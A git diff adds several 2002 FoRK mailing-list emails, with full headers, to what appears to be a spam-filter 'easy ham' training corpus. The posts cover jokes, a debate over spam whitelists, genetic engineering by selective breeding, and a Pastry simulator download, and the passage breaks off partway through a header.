(EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 01:52:37 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6O0nm407617 for ; + Wed, 24 Jul 2002 01:49:49 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 756572940F6; Tue, 23 Jul 2002 17:39:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from barrera.org (cpe-65-172-233-109.sanbrunocable.com + [65.172.233.109]) by xent.com (Postfix) with ESMTP id D5A7D2940F3 for + ; Tue, 23 Jul 2002 17:38:47 -0700 (PDT) +Received: from (127.0.0.1 [127.0.0.1]) by MailEnable Inbound Mail Agent + with ESMTP; Wed, 24 Jul 2002 00:47:35 -08:00 +Message-Id: <3D3DF927.4000108@barrera.org> +From: "Joseph S. Barrera III" +Organization: Rose Garden Funeral of Sores +User-Agent: Mutt/1.5.0 [-1214711651] +X-Accept-Language: en-us, en, ja +MIME-Version: 1.0 +To: Robert Harley +Cc: fork@spamassassin.taint.org +Subject: Re: My brain hurts +References: <3D3DE9EB.70307@permafrost.net> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 17:47:35 -0700 + +Okay, here's a joke I *just* made up while I was driving my car at home: + +One day a pirate walks into a bar with a steering wheel + attached to his crotch. So the bartender says to him, + "You know you have a steering wheel attached to your crotch?" + + And the pirate says, "Aaar, its driving me nuts!" + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00845.4c0c5a6704677c7757df054cec549bd8 b/bayes/spamham/easy_ham_2/00845.4c0c5a6704677c7757df054cec549bd8 new file mode 100644 index 0000000..de6383f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00845.4c0c5a6704677c7757df054cec549bd8 @@ -0,0 +1,66 @@ +From fork-admin@xent.com Wed Jul 24 12:51:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id F1299440CC + for ; Wed, 24 Jul 2002 07:51:29 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 12:51:29 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OBjm410336 for ; + Wed, 24 Jul 2002 12:45:48 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id D61FA294140; Wed, 24 Jul 2002 04:35:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from hotmail.com (oe56.law12.hotmail.com [64.4.18.191]) by + xent.com (Postfix) with ESMTP id 9D744294140 for ; + Wed, 24 Jul 2002 04:34:12 -0700 (PDT) +Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; + Wed, 24 Jul 2002 04:43:26 -0700 +X-Originating-Ip: [66.92.145.79] +Reply-To: "Bill Kearney" +From: "Bill Kearney" +To: +References: <20020724015902.20915.57147.Mailman@lair.xent.com> +Subject: Re: HD/ID: High-Def Independence Day +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.50.4807.1700 +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4910.0300 +Message-Id: +X-Originalarrivaltime: 24 Jul 2002 11:43:26.0188 (UTC) FILETIME=[5282B2C0:01C23307] +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 07:43:23 -0400 + +> Turn it off! It not only risks silent false +> positives, but suffers them in such a way that +> individuals cannot adjust/detect/remedy them. + +Better yet, start another list; fork-spam and forward the suspect items to it. +Much like the noarchive list. This wouldn't be perfect but it'd be better than +nothing at all. + +> Usually I figure if I miss a FoRK post, +> no big deal, I'll pick it up by the replies if it's interesting. + ++1 + +-Bill Kearney +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00846.a603afcbab0796cbe45d3be854562598 b/bayes/spamham/easy_ham_2/00846.a603afcbab0796cbe45d3be854562598 new file mode 100644 index 0000000..5e9922b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00846.a603afcbab0796cbe45d3be854562598 @@ -0,0 +1,58 @@ +From fork-admin@xent.com Wed Jul 24 13:20:12 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 65298440CC + for ; Wed, 24 Jul 2002 08:20:10 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 13:20:10 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OCKn411875 for ; + Wed, 24 Jul 2002 13:20:50 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 41933294140; Wed, 24 Jul 2002 05:10:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from venus.phpwebhosting.com (venus.phpwebhosting.com + [64.29.16.27]) by xent.com (Postfix) with SMTP id 0D80529413E for + ; Wed, 24 Jul 2002 05:09:44 -0700 (PDT) +Received: (qmail 1860 invoked by uid 508); 24 Jul 2002 12:18:55 -0000 +Received: from unknown (HELO hydrogen.leitl.org) (217.80.40.47) by + venus.phpwebhosting.com with SMTP; 24 Jul 2002 12:18:55 -0000 +Received: from localhost (eugen@localhost) by hydrogen.leitl.org + (8.11.6/8.11.6) with ESMTP id g6OCIpm24482; Wed, 24 Jul 2002 14:18:52 + +0200 +X-Authentication-Warning: hydrogen.leitl.org: eugen owned process doing -bs +From: Eugen Leitl +To: Jim Whitehead +Cc: forkit! +Subject: Re: SimPastry +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 14:18:51 +0200 (CEST) + +On Tue, 23 Jul 2002, Jim Whitehead wrote: + +> You can download a Pastry simulator off of this web site. + +Why should I download anything from Microsoft? My firstborn is my and my +alone. No technology is worth that price. (And since when is Redmond into +technology? Weather reports from Dis are so far unchanging). + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00847.d369bf288bfbf485becfb13b7d625dca b/bayes/spamham/easy_ham_2/00847.d369bf288bfbf485becfb13b7d625dca new file mode 100644 index 0000000..3b42288 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00847.d369bf288bfbf485becfb13b7d625dca @@ -0,0 +1,71 @@ +From fork-admin@xent.com Wed Jul 24 13:38:55 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E7DFC440CC + for ; Wed, 24 Jul 2002 08:38:53 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 13:38:53 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OCcm412837 for ; + Wed, 24 Jul 2002 13:38:49 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 06F21294140; Wed, 24 Jul 2002 05:28:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from localhost.localdomain (h00045acfa2be.ne.client2.attbi.com + [65.96.178.138]) by xent.com (Postfix) with ESMTP id 753CF29413F for + ; Wed, 24 Jul 2002 05:27:58 -0700 (PDT) +Received: (from louie@localhost) by localhost.localdomain (8.11.6/8.11.6) + id g6OCaaH01741; Wed, 24 Jul 2002 08:36:36 -0400 +X-Authentication-Warning: localhost.localdomain: louie set sender to + louie@ximian.com using -f +Subject: Re: HD/ID: High-Def Independence Day +From: Luis Villa +To: fork@spamassassin.taint.org +In-Reply-To: <20020724110914.179C6440CC@phobos.labs.netnoteinc.com> +References: <20020724110914.179C6440CC@phobos.labs.netnoteinc.com> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8.99 +Message-Id: <1027514196.1653.12.camel@localhost.localdomain> +MIME-Version: 1.0 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 24 Jul 2002 08:36:36 -0400 + +On Wed, 2002-07-24 at 07:09, Justin Mason wrote: +> +> "Gordon Mohr" said: +> +> > I still think self-add whitelists are underrated. +> > A FoRK whitelist would presumably start with +> > all subscribers, and grow from there. Bouncing +> > problem mail, in a way that humans can understand +> > how to whitelist themselves for a resend, avoids +> > the problem of silent failures without opening the +> > door to lazy, forged-"from" spammers. +> +> Big problem I see with this system, is the +> automatically-generated-but-important mails like online tickets, +> bills, etc. + +Besides lists, this is the reason I can't use such a system. I get more +than a few mails from 'dont-respond-to-this-address@' password reminder +generators, for example. SpamAssassin does flag a few of those as spam, +but at least I've still got them. + +Luis +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00848.a7399507608719a6c564442bb52f6bdf b/bayes/spamham/easy_ham_2/00848.a7399507608719a6c564442bb52f6bdf new file mode 100644 index 0000000..dd27d05 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00848.a7399507608719a6c564442bb52f6bdf @@ -0,0 +1,61 @@ +From fork-admin@xent.com Wed Jul 24 13:57:24 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A1F90440CC + for ; Wed, 24 Jul 2002 08:57:22 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 13:57:22 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OCtm413736 for ; + Wed, 24 Jul 2002 13:55:48 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 69042294144; Wed, 24 Jul 2002 05:45:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from imo-d01.mx.aol.com (imo-d01.mx.aol.com [205.188.157.33]) by + xent.com (Postfix) with ESMTP id B0BD9294142 for ; + Wed, 24 Jul 2002 05:44:57 -0700 (PDT) +Received: from ThosStew@aol.com by imo-d01.mx.aol.com (mail_out_v32.21.) + id 2.4e.ecdfb60 (1320) for ; Wed, 24 Jul 2002 08:54:00 + -0400 (EDT) +From: ThosStew@aol.com +Message-Id: <4e.ecdfb60.2a6ffd67@aol.com> +Subject: Re: "Ouch. Ouch. Ouch. Ouch. Ouch...."(was Re: My brain hurts) +Cc: fork@spamassassin.taint.org +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Content-Transfer-Encoding: 7bit +X-Mailer: AOL 5.0 for Mac sub 40 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 08:53:59 EDT + +Xander Blakley quotes a Russian joke in his terrific book _Siberia Bound_. +Frenchman, American, and Russian get to talking bout which country has the +more desireable women. Frenchman says, "Ah, when a Frenchman puts his hands +around zee waist of his lover, his fingers form a complete circle and +touch--not because his hands are so large, but because zee French woman's +waist is so slender." + American says "Yep, but when an American woman gets on a horse, her heels +reach all the way down to the ground--and it's not because American horses +are short, but because American women have such endlessly long, sexy legs." + Russian says: "Da, but when a Russian slaps his wife's ass on his way out +of the house in the morning, it's still jiggling when he comes back after +work--and it's not because her ass is so big, but because the Russian work +day is so short." + +Tom +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00849.46a55512abd378c6158e43b88acf3ed0 b/bayes/spamham/easy_ham_2/00849.46a55512abd378c6158e43b88acf3ed0 new file mode 100644 index 0000000..02c4a13 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00849.46a55512abd378c6158e43b88acf3ed0 @@ -0,0 +1,55 @@ +From fork-admin@xent.com Wed Jul 24 14:05:49 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 661E1440CD + for ; Wed, 24 Jul 2002 09:05:49 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 14:05:49 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OD4h414235 for ; + Wed, 24 Jul 2002 14:04:43 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id DDFAD29414C; Wed, 24 Jul 2002 05:46:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from imo-d03.mx.aol.com (imo-d03.mx.aol.com [205.188.157.35]) by + xent.com (Postfix) with ESMTP id CBE37294148 for ; + Wed, 24 Jul 2002 05:45:12 -0700 (PDT) +Received: from ThosStew@aol.com by imo-d03.mx.aol.com (mail_out_v32.21.) + id p.50.ece47e1 (1320); Wed, 24 Jul 2002 08:54:07 -0400 (EDT) +From: ThosStew@aol.com +Message-Id: <50.ece47e1.2a6ffd6f@aol.com> +Subject: Re: My brain hurts +To: joe@barrera.org, harley@corton.inria.fr +Cc: fork@spamassassin.taint.org +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Content-Transfer-Encoding: 7bit +X-Mailer: AOL 5.0 for Mac sub 40 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 08:54:07 EDT + + +In a message dated 7/23/2002 8:51:00 PM, joe@barrera.org writes: + +>Okay, here's a joke I *just* made up while I was driving my car at home: + + +Joe, I think you need a new car with more leg room + +Tom +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00850.52463321d8b8160b6ca3662271bf43f1 b/bayes/spamham/easy_ham_2/00850.52463321d8b8160b6ca3662271bf43f1 new file mode 100644 index 0000000..8319b30 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00850.52463321d8b8160b6ca3662271bf43f1 @@ -0,0 +1,53 @@ +From fork-admin@xent.com Wed Jul 24 14:05:49 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 04843440CC + for ; Wed, 24 Jul 2002 09:05:49 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 14:05:49 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OD0c413894 for ; + Wed, 24 Jul 2002 14:00:38 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 66E14294148; Wed, 24 Jul 2002 05:46:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from imo-d05.mx.aol.com (imo-d05.mx.aol.com [205.188.157.37]) by + xent.com (Postfix) with ESMTP id 2884C294147 for ; + Wed, 24 Jul 2002 05:45:11 -0700 (PDT) +Received: from ThosStew@aol.com by imo-d05.mx.aol.com (mail_out_v32.21.) + id k.1ac.5970534 (1320); Wed, 24 Jul 2002 08:54:09 -0400 (EDT) +From: ThosStew@aol.com +Message-Id: <1ac.5970534.2a6ffd71@aol.com> +Subject: Re: [Baseline] Raising chickens the high-tech way +To: dl@silcom.com, fork@spamassassin.taint.org +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Content-Transfer-Encoding: 7bit +X-Mailer: AOL 5.0 for Mac sub 40 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 08:54:09 EDT + + +In a message dated 7/23/2002 6:02:27 PM, dl@silcom.com writes: + +>If we're willing to count artificial +>selection as genetic engineering, + +it's engineering that uses the general mechanism of genetics (inheritance of +traits) without understanding the specific mechanisms (genes, DNA, etc.). +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00851.1c383f4f3509d668819671ab1e20650e b/bayes/spamham/easy_ham_2/00851.1c383f4f3509d668819671ab1e20650e new file mode 100644 index 0000000..6ac7971 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00851.1c383f4f3509d668819671ab1e20650e @@ -0,0 +1,67 @@ +From fork-admin@xent.com Wed Jul 24 14:15:34 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 09133440CC + for ; Wed, 24 Jul 2002 09:15:33 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 14:15:33 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6ODB2414451 for ; + Wed, 24 Jul 2002 14:11:02 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 1568E294134; Wed, 24 Jul 2002 06:00:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from imo-m09.mx.aol.com (imo-m09.mx.aol.com [64.12.136.164]) by + xent.com (Postfix) with ESMTP id 6299D29410C for ; + Wed, 24 Jul 2002 05:59:13 -0700 (PDT) +Received: from ThosStew@aol.com by imo-m09.mx.aol.com (mail_out_v32.21.) + id k.135.11be3f63 (4419); Wed, 24 Jul 2002 09:08:12 -0400 (EDT) +From: ThosStew@aol.com +Message-Id: <135.11be3f63.2a7000bc@aol.com> +Subject: Re: [Baseline] Raising chickens the high-tech way +To: dl@silcom.com, fork@spamassassin.taint.org +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Content-Transfer-Encoding: 7bit +X-Mailer: AOL 5.0 for Mac sub 40 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 09:08:12 EDT + + +In a message dated 7/23/2002 6:02:27 PM, dl@silcom.com writes: + +>If we're willing to count artificial +>selection as genetic engineering, + +Of course was genetic engineering. It used the fundamental mechanism of +genetics (inheritance of traits), and not randomly, but +intentionally--breeding for long fur, fat hams, whatever. The degree to which +the engineers--farmers, breeders--understood exactly how the mehcanism works +is only marginally relevant to the question of whether it was engineering. +Science progresses. Over the years, centuries, their, our, knowledge +increased, and domestication became more effective. Bit by bit the mechanisms +became known--Mendel making a major breakthrough. The first hybrid grains +(which date from the 1920s) represent another step. Watson and Crick another, +etc. But it's engineering--just as Roman architecture was civil engineering, +even if they knew less about the mathematics behind it than we do today, just +as Galen was a physician, though laughably ignorant by our standards. + +T + +Tom +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00852.07c49784957215c425e1aa26fba952e4 b/bayes/spamham/easy_ham_2/00852.07c49784957215c425e1aa26fba952e4 new file mode 100644 index 0000000..fab2988 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00852.07c49784957215c425e1aa26fba952e4 @@ -0,0 +1,62 @@ +From fork-admin@xent.com Wed Jul 24 14:25:09 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BB0CA440CC + for ; Wed, 24 Jul 2002 09:25:07 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 14:25:07 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6ODLm415102 for ; + Wed, 24 Jul 2002 14:21:48 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 4799C294146; Wed, 24 Jul 2002 06:11:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from c007.snv.cp.net (h013.c007.snv.cp.net [209.228.33.241]) by + xent.com (Postfix) with SMTP id 5BA3D29413B for ; + Wed, 24 Jul 2002 06:10:40 -0700 (PDT) +Received: (cpmta 6756 invoked from network); 24 Jul 2002 06:19:53 -0700 +Received: from 65.189.7.13 (HELO alumni.rice.edu) by + smtp.directvinternet.com (209.228.33.241) with SMTP; 24 Jul 2002 06:19:53 + -0700 +X-Sent: 24 Jul 2002 13:19:53 GMT +Message-Id: <3D3EA660.6000900@alumni.rice.edu> +From: Wayne E Baisley +User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.4) + Gecko/20011128 Netscape6/6.2.1 +X-Accept-Language: en-us +MIME-Version: 1.0 +To: fork@spamassassin.taint.org +Subject: Re: [Baseline] Raising chickens the high-tech way +References: <1ac.5970534.2a6ffd71@aol.com> +Content-Type: text/plain; charset=US-ASCII; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 08:06:40 -0500 + +> it's engineering that uses the general mechanism of genetics (inheritance of +> traits) without understanding the specific mechanisms (genes, DNA, etc.). + + +Ah, like the way we used to make babies. And wine. And war. + +Cheers, +Wayne + +And anagrams. + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00853.5143b7f1299929834f26c74f40bdc537 b/bayes/spamham/easy_ham_2/00853.5143b7f1299929834f26c74f40bdc537 new file mode 100644 index 0000000..80b95b6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00853.5143b7f1299929834f26c74f40bdc537 @@ -0,0 +1,110 @@ +From fork-admin@xent.com Thu Jul 25 11:08:05 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DD51F440D2 + for ; Thu, 25 Jul 2002 06:07:16 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:07:16 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OHDn428769 for ; + Wed, 24 Jul 2002 18:13:50 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 04A77294143; Wed, 24 Jul 2002 10:03:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from t2.serverbox.net (t2.serverbox.net [64.71.187.100]) by + xent.com (Postfix) with SMTP id 924FF2940B2 for ; + Wed, 24 Jul 2002 10:02:03 -0700 (PDT) +Received: (qmail 22916 invoked from network); 24 Jul 2002 17:11:13 -0000 +Received: from unknown (HELO techdirt) (12.236.16.241) by t2.serverbox.net + with SMTP; 24 Jul 2002 17:11:13 -0000 +Message-Id: <3.0.32.20020724100925.03a66df0@techdirt.com> +X-Sender: mike@techdirt.com +X-Mailer: Windows Eudora Pro Version 3.0 (32) -- [Cornell Modified] +To: Eugen Leitl +From: Mike Masnick +Subject: Re: Mossberg on 'ChoiceMail': "In my tests, it cut my spam to zero." +Cc: +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 10:09:33 -0700 + +At 11:49 AM 7/24/02 +0200, Eugen Leitl wrote: +>On Tue, 23 Jul 2002, Mike Masnick wrote: +> +>> Lately, a fairly large % of the spam I've been getting has been coming +>> from spam systems that forge my own address as the "from" address... +> +>Include a random token with an expiration date with anything you send. +>Valid whitelisting of From:you@here.net yet invalid random token would get +>blocked. + +Adds to the level of annoyance, and makes it even less likely that I'll +ever use it. + +>> Those spam messages would get through any whitelist I set up +>> (especially since I email stuff to myself all the time). If +>> whitelists become more popular, I imagine spammers will resort to +>> doing that for the majority of their spams, making whitelists less +>> helpful. +> +>Spammers cannot be bothered to keep track if individual whitelists +>associated with a given email address. + +They don't have to. All they have to do is use some program (which, if +they don't exist already, will certainly be around someday soon) that makes +every spam they send show the recipient as the "from" address as well. + +>> Plus, I'm still not sure how I feel about whitelists. I don't think I'm so +>> special that people should need to fill out a special form just to send me +> +>Of course you populate your whitelist with contents of your inbox minus +>spam, and then add manually stuff from your addressbook. + +The adding manually thing doesn't seem like much fun. And, anytime I speak +to someone new, it just makes it more unlikely that they will be willing to +contact me. Having played around with whitelists in the past, you'd be +amazed at how confused many people get by them as well. They tend to +ignore the "please apply" messages. + +As an aside, am I the only person around who simply does not use the +addressbook feature in email programs? I never have, and I don't see any +reason to. It (along with not opening attachments) has helped me not to +send out viruses to people. I generally use my own brain or my inbox as an +addressbook, and search out the last email I received from someone and hit +reply... + +>> email. I could see certain friends of mine getting fairly annoyed +>> (especially those with multiple email addresses...). +> +>What's the point of multiple email addresses? They're a pain. + +Well, yes. *I* use one email address, but that doesn't mean all my friends +do. You would need to convince everyone I know of that. Most people I +know, at the very least, have a home and work email address. But plenty +others have other addresses for various reasons. Keeping track of all of +them for a whitelist seems like a pain. It forces them to remember which +email addresses are already approved and avoid using others. + +Plus, I know plenty of people who change jobs, and suddenly get a new email +address from their new job. Wouldn't it suck if, in sending out your new +job info, you had to fill out a new application for each friend just to +tell them about your new job email address? + + -Mike +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00854.8ccfb8ad116ea10b46c7c1d7ad50aab8 b/bayes/spamham/easy_ham_2/00854.8ccfb8ad116ea10b46c7c1d7ad50aab8 new file mode 100644 index 0000000..7531117 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00854.8ccfb8ad116ea10b46c7c1d7ad50aab8 @@ -0,0 +1,121 @@ +From fork-admin@xent.com Thu Jul 25 11:08:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CDEA6440D9 + for ; Thu, 25 Jul 2002 06:07:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:07:20 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OHWl429938 for ; + Wed, 24 Jul 2002 18:32:48 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id CC9DD294143; Wed, 24 Jul 2002 10:22:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from venus.phpwebhosting.com (venus.phpwebhosting.com + [64.29.16.27]) by xent.com (Postfix) with 